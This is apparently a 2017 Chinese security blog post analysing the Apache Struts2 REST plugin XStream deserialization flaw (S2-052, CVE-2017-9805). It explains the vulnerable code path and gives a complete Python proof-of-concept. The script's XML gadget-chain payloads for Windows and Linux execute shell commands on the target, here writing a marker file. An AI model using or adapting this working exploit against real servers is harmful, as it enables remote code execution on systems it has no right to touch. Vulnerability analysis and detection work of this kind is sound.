Apache Struts2(S2-052) RCE 漏洞

Posted by JenI on 2017-09-06 00:00:00+08:00

前言

2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为 CVE-2017-9805(S2-052)。Struts2 REST 插件的 XStream 组件存在反序列化漏洞,使用 XStream 组件对 XML 格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

我下载了 2.5.12 的 struts2,找到 struts2-rest-plugin ,对 S2-052 漏洞进行了简单的分析。

漏洞分析

根据官方的漏洞介绍,Struts REST 插件在处理 xml 格式的数据时未进行任何过滤,因此在对 xml 格式的数据包进行反序列化时导致命令执行。

s2-052-1

在 REST 插件的 struts-plugin.xml 中可以看到如下内容:

s2-052-2

文件内配置了很多的 bean,这些 bean 根据请求中的 Content-type 的不同,将请求中的数据分发给指定的子类。上图中标出的内容表示将 Content-type 为 xml 的数据交给 XStreamHandler 处理。

当服务器接收到来自用户的请求时,会被 ContentTypeInterceptor 类拦截,进入 intercept 方法:

s2-052-3

ContentTypeInterceptor 类对请求中的 content 类型进行了判断,再根据类型的不同,选择不同的 handler,调用该 handler 的 toObject() 方法对数据进行下一步处理。

如果这里用户请求中的 Content-type 为 xml 类型,XStreamHandler 类的 toObject() 方法被调用。

s2-052-4

toObject() 方法会调用 xstream 的 fromXML() 方法,fromXML() 方法用于将传入的 XML 字符串反向序列化为 JavaBean 对象。请求中的 xml 数据在经过 fromXML() 方法后导致实例化的恶意对象被执行,也就导致了恶意代码被执行。

漏洞复现

首先在已搭建的 tomcat 上部署 struts2-rest-showcase 应用。

s2-052-5

通过浏览器访问 web 应用。

s2-052-6

再次请求时修改数据包的 Content-type 为 xml,请求类型为 post,post 的数据改为我们构造好的 payload。其中执行的命令是向c盘的根目录写文件。

s2-052-7

请求发送后,页面返回 500 错误,在服务器上查看 c 盘根目录,发现文件成功被写入:

s2-052-8

漏洞 POC

在编写漏洞 POC 的时候发现了一些需要注意的地方,我分别对 Windows 和 Linux 搭建的漏洞环境进行了测试,执行了如下命令:

Windows:   c:\windows\system32\cmd.exe /c echo %s> xxx.txt
Linux:     bash -c "echo %s"> xxx.txt

发现在 Windows 上,命令执行目录是 Tomcat 的安装目录,比如 C:\Program Files\Apache Software Foundation\Tomcat 8.5,而 Linux 上,命令执行目录是系统的根目录 /。因此针对 Linux 的 payload 需要猜测 Tomcat 的安装目录。

POC 会向 ./webapps/docs/(针对 windows) 或 /usr/share/tomcat8/webapps/docs/(针对 Linux) 目录上传一个 15 位随机文件名的 txt 文件。
s2-052-9
s2-052-10
# -*- coding:utf-8 -*-

from random import choice
import urllib2
import time
import sys

WINDOWS_PAYLOAD = """<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>c:\windows\system32\cmd.exe</string><string>/c echo %s> ./webapps/docs/%s.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>"""
LINUX_PAYLOAD = """<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>bash</string><string>-c</string><string>"echo %s"> /usr/share/tomcat8/webapps/docs/%s.txt</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>"""

class RedirctHandler(urllib2.HTTPRedirectHandler):
  def http_error_301(self, req, fp, code, msg, headers):
    pass
  def http_error_302(self, req, fp, code, msg, headers):
    pass

def randStr():
    seed = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789-"
    random_string = ''
    for i in range(15):
        random_string += choice(seed)
    return random_string

def check(target, payload, ran_s):
    request = urllib2.Request(target + '/struts2-rest-showcase/', payload)
    request.add_header("Content-Type", "application/xml")
    try:
        urllib2.urlopen(request, timeout=30)
        return '[-]No risk detected'
    except Exception, e:
        if e.code == 500:
            time.sleep(5)
            try:
                opener = urllib2.build_opener(RedirctHandler)
                request2 = opener.open(target + '/docs/%s.txt' % ran_s, timeout=30)
                if ran_s in request2.read() or request2.getcode() == 200:
                    return '[+]Target vulnerability!'
                else:
                    return '[-]No risk detected'
            except Exception, x:
                if '404' in str(x):
                    return '[-]No risk detected'
                else:
                    return '[-]Error: ' + str(x)
        else:
            return '[-]No risk detected'

def main():
    ran_s = randStr()
    if len(sys.argv) != 2:
        print 'Usage: python %s ip:port' % sys.argv[0]
    else:
        try:
            check_windows_res = check('http://' + sys.argv[1], WINDOWS_PAYLOAD % (ran_s, ran_s), ran_s)
            if check_windows_res != '[+]Target vulnerability!':
                print check('http://' + sys.argv[1], LINUX_PAYLOAD % (ran_s, ran_s), ran_s)
            else:
                print check_windows_res
        except Exception,e:
            print '[-]Error: ' + str(e)

if __name__=='__main__':
    main()

作者:   JenI   转载请注明出处,谢谢


Comments !